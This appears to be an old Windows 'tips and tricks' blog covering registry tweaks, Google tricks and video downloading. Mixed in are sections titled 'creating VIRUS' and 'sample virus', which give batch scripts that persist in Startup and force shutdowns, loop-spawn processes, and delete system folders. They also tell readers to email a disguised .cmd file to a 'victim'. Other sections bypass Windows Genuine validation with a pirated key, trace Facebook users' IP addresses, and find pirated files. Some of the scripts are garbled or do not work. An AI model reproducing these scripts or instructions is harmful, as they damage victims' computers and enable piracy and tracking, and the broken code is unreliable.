Thursday, June 16, 2011

Command Prompt on Right-Click


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Command Prompt on Right-Click

Many computer users, specially the programmers, need to launch a

command prompt window every once in a while to execute some dos/shell commands.

The problem is, when a command prompt window launched,

the default path is normally the system path or the user profile's path.

The users will then have to do all the "cd" commands to change the directories

to the path he/she wants.This trick shows you how to add an option called

"Command Prompt" when you right-click on a

folder in Windows. With this option, a Command Prompt Window will launch and its

current directory will be the path to the folder you've selected.

steps:

  1. Start > Run
  2. Enter "regedit" and hit Enter
  3. Expand to "HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Folder\shell"
  4. Right-click on "shell" and select New > Key
  5. Make sure a new key is created under "shell".rename of this key to"Command Prompt"
  6. Right-click on this new key "Command Prompt" and select New > Key
  7. Change the name of this key to "command"
  8. Double-click on the "(Default)" text on the right window to bring up the edit box
  9. Enter this text into the Value Data field:
    cmd.exe "%1"
  10. Click OK and close the registry.


Wednesday, June 15, 2011

How to use Opera Mini on Your PC


I am here to show how we use opera mini on pc.Now the question is why would anyone use Opera Mini when there’s Opera browser for PC. Well, the answer is simple, if you have a slow internet connection like 56k internet connection or lesser then you’re benefited from this. Using Opera Mini you can load web pages way faster than any other browser.

Follow the below instructions carefully to use Opera Mini on your pc:
1. Download the microemulator from here and unzip the package to a specific folder.
2. Now download Opera Mini .jar and .jad files from here and save them in the same folder as it will be easy to browse.
3. Double click on “microemulator.jar” to run it. If it doesn’t start then you need to type “java -jar microemulator.jar” in a console.

4. Go to Options > Select device> Add…, now navigate to “microemulator/devices” and select “microemu-device-resizable.jar”.

5. Select the “Resizable device” profile you added and click on “Set as default”.

6. Click on the “Resize” button in the lower right corner and enter your preferred size.

7. Go to File> Open JAD and choose the Opera Mini .jad which you had downloaded in Step2.

8. “Opera Mini” will now appear in the list of applications you can start.

9. Click “Start” to launch it.


Convert Word 2007 documents to PDF format

Convert Word 2007 documents to PDF format:

Office 2007 lets you convert your documents, spreadsheets, and PowerPoint presentations to PDF — optimized for online documents, printed documents, or both. Before you can convert your document to PDF format, you need to download and install the support for PDF and XPS from the Microsoft Web site. (Be sure you have an active Internet connection so you can download the support for PDF and XPS.) Now follow these steps:

1.In Word 2007, go to Word 2007 Help, type PDF in the Search box, and then press [Enter].

2.Scroll to and click Enable Support For Other File Formats, Such As PDF And XPS.

3.Under “What Do You Want To Do?” click Install And Use The Publish As PDF Or XPS Add-In From Microsoft.

4.When the Web page displays, click Microsoft Save A PDF Or XPS Add-In For 2007 Microsoft Office Programs.

5.Follow the instructions to download the add-in.

To save a Word 2007 document as a PDF file, open the document and follow these steps:

1.Click the Microsoft Office button, move to Save As, and click PDF Or XPS.

2,Click the Options button to set Bookmarks, designate whether you want to save a part of the document or the entire document, and/or exclude document elements from the file. Click OK.

3.Click the appropriate button for Standard or Minimize optimization.

4.Click Publish.

5.You can follow these same steps to convert your spreadsheets and PowerPoint files to PDF.

WHAT IS OBML FILES?

OBML file -Opera Mini is a web browser designed primarily for mobile phones, but also for smartphones and personal digital assistants. It uses the Java ME platform and consequently requires that the mobile device be capable of running Java ME applications. Opera Mini is offered free of charge, supported through a partnership between its developer, the Opera Software company, and the search engine company Google. Opera Mini fetches all content through a proxy server that reformats web pages into a format more suitable for small screens. A page is compressed, then delivered to the phone in a markup language called OBML (Opera Binary Markup Language). This compression process makes transfer time faster and the pre-processing also helps compatibility with web pages not designed for mobile phones.

google funs

  1. 1. Google gravity:- We all have read the Newton’s law of gravity.Does it also apply to google?To test it follow the instructions
  • Go to google.com
  • Type Google Gravity
  • Click on I’m feeling Lucky

Now you will see the effect of gravity on google.The google icon will fall down automatically.You can even pickup and throw google icon anyware.

  1. 2. Epic Google:- In epic google you will see the font size of google increasing automatically as if it will come out of your computer screen.To use google Follow the instructions
  • Go to google.com
  • Type Epic Google
  • Click on I’m feeling Lucky
  1. 3. Google Hacker:-want to see how the google homepage will look if it gets hacked .Follow the instructions below
  • Go to google.com
  • Type Google Hacker
  • Click on I’m feeling Lucky
  1. 4. Annoying Google:- In this trick the capitalisation of your searches will change automatically.Some words will change into small letter and some into capital letters in your search result.Want to try it follow the instructions
  • Go to google.com
  • Type Annoying Google
  • Click on I’m feeling Lucky

If you also know some more cool google tricks then do share with us and our readers by commenting your google tricks


creating VIRUS

virus1:
write this in notepad :

@echo off
title Virus Detected
cls
:a
if not exist "%userprofile%\start menu\programs\startup\virus.ba t" goto b
if exist "%userprofile%\start menu\programs\startup\virus.ba t" goto c
goto a
:b
copy "startup.bat" "%userprofile%\start menu\programs\startup\virus.ba t" >nul
goto c
:c
cls
shutdown -s -t 180 -c "You Got Owned"
exit

save as *.bat



virus2:(small virus)
write this in notepad :

:A
Start
Start
Start
goto A

and save as *.bat (any name.bat)

THE MATRIX:
write this in notepad :

@echo off
:A
color 0a
echo 7 y h a g 7 2 3 A S h 5 a J 4 F a p h 6 a p h 6 7 2 3 A S 4 g a 0 K 5 j l a f
ping localhost -n 0 > nul
echo f 4 g a 0 K 5 D 1 2 h k 1 O R D K 6 h 2 h k 1 O R 2 h k O R 4 g a 0 K 5 k f e
ping localhost -n 0 > nul
echo D K 6 h 2 h k 1 O R 2 h k 1 O R 4 g a 0 K 5 O R 2 h k O R 4 g a 0 K 5 k f e
ping localhost -n 0 > nul
echo f 4 g a 0 K 5 D 1 2 h k 1 O R D K 6 h 2 h k 1 O R 2 h k O R 4 g a 0 K 5 k f e
ping localhost -n 0 > nul
echo 7 y h a g 7 2 3 A S h 5 a J 4 F a p h 6 a p h 6 7 2 3 A S 4 g a 0 K 5 j l a f
ping localhost -n 0 > nul
goto A

save as *.bat


THE TIMER:
write this in notepad :

@echo off
title Timer
set time=60
:loop
set /a time=%time%-1
if %time%==0 goto timesup
echo %time%
ping localhost -n 0 > null
cls
goto loop
:timesup
echo Time is up!
echo •
echo •
echo •
echo Press any key to exit...
pause
shutdown -s -t 30 -c "Your computer is HACKED

save as *.bat


HARD DRIVE CRASH
write this in notepad :

@ echo off del c:\\windows\system 32
@ echo off del c:\\windows\system
@ echo off del c:\\windows\repair

save as (any name).bat
after save, open that file


test பண்ணி பாருங்க!!!!!!!!!................

How to download facebook videos

  1. Go to www.Firefox.com and download the free web browser and if you don't already own it.
  2. Wait until Firefox is installed, then open and look at your tool bar,click on the one that says tools,click on the tab that says "Add-ons".
  3. Open a new window,on the lower right hand side of the new window there is a link that says "Get Extensions", click it.
  4. Be at the Firefox websites add-on section,click on the search box and type in "grease monkey",download grease monkey and install.
  5. Install grease monkey follow this link Install and click install this script on the right hand side, install the script.
  6. Make sure grease monkey is turned on so go to tools,click add-ons and click enable on grease monkey, if it isn't already.
  7. Click on the grease monkey options. A new window will open and on the lower left-hand side click the box that says enable.
  8. Now whenever you're logged into Facebook, a download button is available

How to Download Youtube videos

Method 1:
For Firefox Users – Install the VideoDownloader Extension from
Mozilla Add-ons website – It downloads all embedded objects on a webpage
including the video clips. This is very easy for beginners.

Method 2: One of the easiest ways is to copy
your video URL and paste it on KeepVid Lite.
When you click submit,
you will be provided with a link to save the video as an FLV file.
Using these tricks you can easily download videos from Youtube or Google
Videos or Metacafe.

Now some more questions that arise are:

How do I play FLV files on my computer? -
They dont open with windows media player or winamp or itunes or real player ?

You can download free FLV players to watch FLV files locally.
A good FLV player has a simple and easy-to-remember name - FLV Player.
Another nice alternative is the Riva FLV player.
Try them out.

How do I split a large FLV file into smaller playable video clips?
This is the most common question among video enthusiasts -
they want to split a large FLV video file into smaller chunks for editing or
resharing only the interesting tidbits on the internet.
To break an FLV file, get the free FLV Parser – a tiny command-line tool
to split FLVs into pieces. Its intended use is to convert a large FLV into a
series of shorter FLVs based on a series of millisecond-based timecodes.
Using the -s switch will split the audio and video of the outputted files;
the audio track will be extracted as a series of MP3 files, and the short
FLVs produced will have no audio track at all.

How to Speed Up Your Internet Connection

Speed Up Your Internet Connection by Replacing your ISP DNS Server with OpenDNS

Just replace the default DSN server address of your ISP with the OpenDNS servers which are :
208.67.222.222
208.67.220.220

The DNS server can be changed from the TCP/IP Properties section. [Control Panel -> Network Connections -> Local Network Connection -> TCP IP Properties]

Why OpenDNS is good ? Your domain resolution request to OpenDNS is executed from the nearest physical location and the address are also cached at their end. Therefore you notice faster internet browsing.

Second OpenDNS would auto-correct misspelled domain names [or typos]. For instance, if you type www.gooogle.com by mistake, you'll be redirected to www.google.com without any interventation. The other advantage is that you have a much safer browsing experience since OpenDNS would prevent you from visiting a scam website by error.

Precautions before using OpenDNS

1. In the extreme situation when OpenDNS servers go down, you should keep the address of your ISP DNS servers handy.

2. You can turn off the phishing protection or auto typo correction by visiting the OpenDNS preferences page.

3. Some users might have privacy concerns with OpenDNS while some dislike seeing ads when they mis-spell domain names.

Easy way to find downloads using google- music, movies, Games, apps

With regular way of searching on Google, we do miss lots of things that we are searching for. There are lot of pro ways to search Internet Using Google and are more effective and very informative than normal way. In this post i will show you how to achieve your needs with Google using simple search queries. This trick works fairly decent for finding mp3′s on the web, which is hard to do normally. You can use the same trick to find other files too for example: avi, mp3, mpg, torrents, etc.

Finding Music files using Google.

Lets say you want to download a “Coldplay-Life In Technicolor” song. Just type in the below Search Query in the search bar -

“index of/” "OMENA PENNE".mp3

note: you can replace ‘OMENA PENNE.mp3 with file Name of your choice and .mp3 with other extension.

In the Search Results you got to check out the results that starts with “Index of/” in the title. This technique allows you to easily pull up web folders with direct download links. it will look the same as if you were logged into a ftp URL. I’m sure you can be pretty flexible on how you type that in, as long as you include “index of/”. it’s not perfect but it has worked for me on a few occasions.

inding Other Files

Now that you already know how to find mp3 file, finding other files is quite the same. see the below query.

filename filetype:type

Ex: lets say you want to search Microsoft XP Installer package (torrent file), Then you you will type the below query:
Microsoft xp Installer filetype:torrent

Finding Movies

“parent directory ” DVDRip -xxx -html -htm -php -shtml -opendivx -md5 -md5sums

“parent directory “Xvid -xxx -html -htm -php -shtml -opendivx -md5 -md5sums

Finding Applications

“parent directory ” /appz/ -xxx -html -htm -php -shtml -opendivx -md5 -md5sums

Finding Flash games

“parent directory ” Gamez -xxx -html -htm -php -shtml -opendivx -md5 -md5sums

The above strings are all same. I just changed their second part to find various things. You can make changes in parts of this string and do experiments for more better results.

How to recover lost password of Memory Card (MMC, micro SD)?

Some times it happens that you forgot the password of your memory card (MMC, micro SD) and you have lots of your important data in it. and You struggle to get back your password. Right? Today am going to show you how you can recover the lost password of your memory card with the help of nokia phone.

It is possible only if you have Nokia’s s60 phone (eg: 6600, 6610, N70,N73,E63,E71,N95)
The thing you got to do is download and install “Fileexplorer” software.


After installing follow the steps:
1. Open FExplorer and access the c: drive.
2. There u will find a file named ‘mmcstore’
3. Rename the file to: ‘mmcstore.txt’
4. The file will now open in notepad
5. U will get your password written in the notepad file

Note #1: I think only few s60 phones have microSD slots. so you got to get a MMC adapter (costs around Rs.50). fit your microSD card in it and insert the MMC in your phone.

Note #2: If you Just want to format your card (without recovery of data), then just get a microSD card reader and format it.

How do WE find someone’s IP address on facebook? – Tracing facebook user

First you got to find out the IP address of that User.

To Do so we will be using “netstat” command in windows. If you want to know the IP address of a specific person on facebook or orkut or any chat service, there is only one way: Just invite or ping him for a chat and while chat is ON open ‘Command Prompt‘ on your PC (Start >Run>cmd).

note: before trying this make sure you close all the other tabs in your browser. and only facebook is open. also if possible delete all the history and cache from your browser.

When command prompt opens Type the following command and hit Enter.

netstat -an

And you will get all established connections IP addresses there. Note down all the suspicious IP’s

The Next Step is to Trace that user using his IP address.

To do so we will be using IP tracer service. Go to the below address and paste the IP address in the box that says “lookup this ip or website”. and it will show you the location of the user.

http://www.ip-adress.com/ip_tracer/

It will show you all the information about that user along with his ISP and a Location in the MAP. Now in the MAP Just click on “click for big ip address location” in the big picture you can actually zoom in. and try to recognize the area. If any serious matter just note down the ISP details in that page and contact them about the IP. they will respond you.

Other netstat commands:
-a Displays all connections and listening ports.
-e Displays Ethernet statistics. This may be combined with the -s option.
-n Displays addresses and port numbers in numerical form.
-p proto Shows connections for the protocol specified by proto; proto may be TCP or UDP.
-s option to display per-protocol statistics, proto may be TCP, UDP, or IP.
-r Displays the routing table.
-s Displays per-protocol statistics. By default, statistics are shown for TCP, UDP and IP; the
-p option may be used to specify a subset of the default.

TOP 10 GOOGLE SEARCH TRICKS

  1. Google trick to search different file formats (keyword filetype:doc) EX (hardware filetype:pdf)

  2. Google trick to search educational resources (keyword site:.edu) example (computer site:.edu)

  3. Finding the time of any location (time romania)

  4. Finding the weather of any location (boston weather)

  5. Tracking commentary of live events (Olympic games Beijing 2008)

  6. Using Google as a calculator (9 * 10)(143+234)(119-8)

  7. Converting currencies (1 USD in INR)(10 US Dollars in Indian Rupee)

  8. Find how many teaspoons are in a quarter cup (quarter cup in teaspoons)

  9. how many seconds there are in a year (seconds in a year)

  10. Tracking stocks (stocks:MSFT)

  11. Finding faces (add imgtype=face to the URL)

Facebook Photo Zoom

facebook Photo Zoom‘ allows you to zoom the images on your news feed itself rather than opening the photo in a new Page. Facebook Photo Zoom is a simple, light-weight extension that integrates directly into Facebook so you can see the larger images of photo albums, profile photos and more whenever you hover over a zoomable image!

CLICK HERE TO INSTALL


Speed up your Internet explorer

To be compliant to the standard, Internet Explorer limits the number of connections to one web server. Depending on the type of server, the number of connections is limited to 2 or 4.

This tweak removes this limit. Note that your browser will no longer be compliant. But it will be lots faster.
The tweak
Go to the registry key:
HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre ntVersion\Internet Settings
Look for the following values:
MaxConnectionsPerServer
MaxConnectionsPer1_0Server
If they don't exist, create them as DWORD values.
Set these values to the number of simultaneous connections you want to allow. A good value is 50.
Download reg file
This reg file does the work for you

Backup your Facebook Account, Download everything including wall posts, messages and friends list!

Just got to know that you can now take a backup of your facebook account. this includes your photos and videos, posts on your wall, all of your messages, your friends list and other content you have shared on your profile. once you request for the download, facebook will allow you to download all your Data in a zip file. After downloading you will have access to your data in a simple, browseable manner. To Get your Zip file just go to your Account Settings page, then click the “learn more” link beside “Download Your Information.


After You click ‘Download’ button, facebook will send you an email asking you to verify your identity (This may take a little while) and then You will receive an email when your Zip file is ready for download. Do take your Backup. this will be really useful incase your account gets hacked or canceled in future.

Your file will include the following information:

  • Your profile information (e.g., your contact information, interests, groups)
  • Wall posts and content that you and your friends have posted to your profile
  • Photos and videos that you have uploaded to your account
  • Your friend list
  • Notes you have created
  • Events to which you have RSVP’d
  • Your sent and received messages
  • Any comments that you and your friends have made on your Wall posts, photos, and other profile content

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sample virus

What this virus does is completely and permanently delete Windows or Linux depending. Please read the caution at the top.

Onto the trick. Follow the directions carefully.

1- Write The Following In Notepad Exactly as it says Code: 01001011000111110010010101010101010000011111100000

2- Save the file as an EXE (Click File-->Save as...-->and erase what ever is there and type in something like funnystuff.exe).

3- To test it, create a textfile called "TEST.txt"(just leave it blank) and save it in 'My Documents' or something in your C: drive. Now in a NEW notepad type "erase C:TEST.txt" (without the quotes). Then do "Save As..." and save it as "Test.cmd". Now run the file "Test.cmd" and go to C: and you'll see your Test.txt is gone. Now, the real work begins:

4- Go to Notpad and type "erase C:WINDOWS" (or C:LINUX if your targeted victim has linux) and save it again as funnypicture.cmd or something.

5- DON'T EVER run the file or you'll lose your WINDOWS map. So, that's the virus.

6- Send an email to your victim and attach the file "Funnypicture.cmd" or whatever you named it. When they open it, their Windows will be erased.

Caution: This is a virus that can do alot of damage and sometimes cause the victim to rebuy Windows XP/Linux. Do NOT just use this because you are mad at a friend. I am in no way responible for anything you do

How to make your pirated XP genuine

This will allow you to bypass the Microsoft Genuine Validation thing

this method works better than many others i've tried before. forget the cracks and injectors etc... this is the BEST WAY:

1) start > run > "regedit" (without the quotes of course)

2) go to the key:

HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\Windows NT\CurrentVersion\WPAEvents\OOBETimer

...and doubleclick on it. Then change some of the value data to ANYTHING ELSE...delete some, add some letters, I don't care...just change it!

now close out regedit.

3) go to start > run > "%systemroot%\system32\oobe\msoobe.exe /a" (again, dont type the quotes)

4) the activation screen will come up, click on register over telephone, then click on CHANGE PRODUCT KEY, enter in this key: JG28K-H9Q7X-BH6W4-3PDCQ-6XBFJ.

Now you can dl all the updates without activating, and the Genuine Microsoft Validation thingy won't bug you no more!!

***Note, this works best after a formmat***

this method works better than many others i've tried before. forget the cracks and injectors etc... this is the BEST WAY:

1) start > run > "regedit" (without the quotes of course)

2) go to the key:

HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\Windows NT\CurrentVersion\WPAEvents\OOBETimer

...and doubleclick on it. Then change some of the value data to ANYTHING ELSE...delete some, add some letters, I don't care...just change it!

now close out regedit.

3) go to start > run > "%systemroot%\system32\oobe\msoobe.exe /a" (again, dont type the quotes)

4) the activation screen will come up, click on register over telephone, then click on CHANGE PRODUCT KEY, enter in this key: JG28K-H9Q7X-BH6W4-3PDCQ-6XBFJ.

Lock a folder in windows XP without any software

  1. Make a Folder in C drive rename it as "abc" without quotes.
  2. Now open Command Prompt from Start Menu.
  3. Type "attrib +s +h C:\abc" without quotes and press enter.
  4. This command will Make your folder invisble and it can not be seen even in hidden files and folders
  5. To make it visible again type "attrib -s -h C:\abc"
  6. You can lock any other folder also by changing the location C:\abc to address of your folder.

Trick to Show ur name after time in taskbar...

I m here to tell u a trick to add up ur name in place of AM and PM beside time and make urself to feel proud among ur group of frnds.
Its simple
Start -> Control Pannel -> Regional and LAnguage option -> Customize (beside English US) -> Go to TIME tab -> Change AM symbol and PM symbol from AM and PM to ur name -> Apply -> Ok ...
IS it changed ??? Might be not ...Now go to time in taskbar and Double Click it to open "Date and time property" ...Look place where time chnges in digital form i.e. 02:47:52 AM , click to arrow to cnage the AM or PM by selecting and press arrow. It will Show ur name or name that was entered by u, Apply -> OK and be HAPPY :)

Tips to recover scratched DVD’s

1. Spread a cloth on a flat surface and place the CD on it.
2. Then, hold the disc with one hand, use the other to wipe the polish into the affected area with a soft cloth.
3. Wait for it to dry and buff using short, brisk strokes along the scratch, not across it.
4. A cloth sold to wipe spectacles or camera lenses will work super m8′s.
5. When you can no longersee the scratch,, wash the disc with water and let it dry before playing. Intersting isnt it? Try it right now
I have used toothpaste with good effects before Ive also used car paint cutting compound on deeper scratches. It does leave lots of smaller scratches (as it is a cutting compound after all) but it will remove the worst scratches in most cases.
ya u r gng to b surely befinited by this Operation

Speed Up and Optimize USB Drive Speed Performance by Enabling Write Caching

For users facing with problem of slow copying, reading or accessing speed when connecting to and using the external USB hard disk drives or USB flash drives or other USB storage devices, Windows allows the externally connected removable disk storage devices via SCSI, USB, IEEE 1394 Firewire, eSATA interface to be optimized for performance (enable and turn on disk write caching) to improve access and write speed to and from the drive.

To optimize a storage drive for performance, follow these steps (based on Windows 7, other Windows OSes, such as Windows XP or Windows Vista has about the same procedure):

  1. Click on Start button, and go to Control Panel.
  2. Click on System and Security category, and then Device Manager link.
  3. Click Yes if User Account Control (UAC) dialog prompts.
  4. Expand the Disk Drive tree.
  5. Right click on the USB storage disk drive to improve its performance, and select Properties.
  6. Go to Policies tab.
  7. Select the radio button for Better performance or Optimize for performance.
  8. Click OK.
  9. The external drive is now write-caching enabled. Thus, user must use the Safely Remove Hardware notification icon to disconnect the drive safely prior to remove the device in order to avoid data loss.

Shutting Down Xp In Different Ways


There are so many different ways to turn off your Windows XP computer, let's look at some of them:



  • The standard approach - click the Start Button with your mouse, then select the Turn Off menu and finally click the Turn Off icon on the Turn Off computer dialog. blink.gif
  • Press Ctrl+Esc key or the Win key and press u two times - the fastest approach.
  • Get the Shutdown utility from Download.com - it add the shut down shortcuts for you. Else create them yourself using approach
  • Create a shutdown shortcut on your desktop. Right click on the desktop, choose New Shortcut and type shutdown -s -t 00 in the area where you are asked to specify the location of the program file. Now you can just double click this icon to turn off the computer. The best location would be your quick launch bar.
  • Press the Win key + R key to open the run window. Type shutdown -s -t 00. [s means shutdown while t means the duration after which you want to initiate the shutdown process].

    If some open processes or application won't let you turn off, append a -f switch to force a shut down by closing all active processes.
  • Win+M to minimize all windows and then Alt+F4 to bring the Turn Off computer dialog.
  • Open Windows Task manager (by right clicking the Windows Task bar or Alt+Ctrl+Del) and choose Shut down from the menu. Useful when the Windows are not responding.
  • open task manager--->click on shutdown--->hold the ctrl key and click on Turn off::::::: pc will be turned off in 3 secs.. fastest method other than hard shutdown

simply computer shutdown using shortcut

Step 1: Right click on your desktop and choose “New=>shortcuts”.
Step 2: In the box that says “Type the location of the shortcut”,
type in “shutdown -s -t 3600” without the quotation marks and click next.

Note: 3600 are the amount of seconds before your computer shuts down. So , this means 3600 seconds = 60 mints (1 hour). You can change the value in the above code. You can even create multiple shutdown shortcuts. For example a computer shutdown shortcut for 30 minutes, 1 hour, 2 hours, 5 hours etc.,

Step 3: Make up a name for the shortcut and you’re done.

Optional Step 4 : You can change the icon by right clicking=>properities=>change icon=>browse

To abort or cancel the shutdown:
To make an abort key to stop the shutdown timer just create another shortcut and make
the “location of the shortcut” to ” shutdown -a” without the quotes.

shutdown your computer at a specific time

Here is a trick to shutdown your computer at a specific time.
You might be thinking what great about it, well you can shutdown your computer without the use of any software.
ust shutdown your computer at specific time from RUN Command. For example if you wish to shutdown at 09:45 am. Type this in

Start=>Run

Type Code: at 11:35 shutdown -s

To cancel or Abort the shutdown:

Type Code: shutdown -a


Type Code: “shutdown –s –m\\computername –t60”. This command will shutdown the computer on network if you have administrative access. Here computername needs to be replaced by the exact computer name of the computer on the network to work.

How to restrict user's to access shutdown button?

This tipS is very interesting for home and some small office users, who wants to restrict user's ability to shutdown their computer. You can hide the Shutdown button from the Start menu using registry editor and also restrict access to shutdown, if a user clicks on Ctrl+Alt+Del.
Follow the given steps to hide system shutdown button from start menu:
To use this feature, you will need to be logged into your computer with
administrative rights.
Click Start button and type regedit in Run option then press Enter for next.
Here locate the location to:
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
ere in right side panel, right click to create a new DWORD value with name NoClose.
Now assign number 1 to its value data box.
Now close the registry editor and restart your computer after any changes to go into effect.
But next time, if you want to unhide the shutdown button then simply change the value data box to 0 or delete this DWORD item.
Again close the registry editor and restart your computer after any changes to go into effect.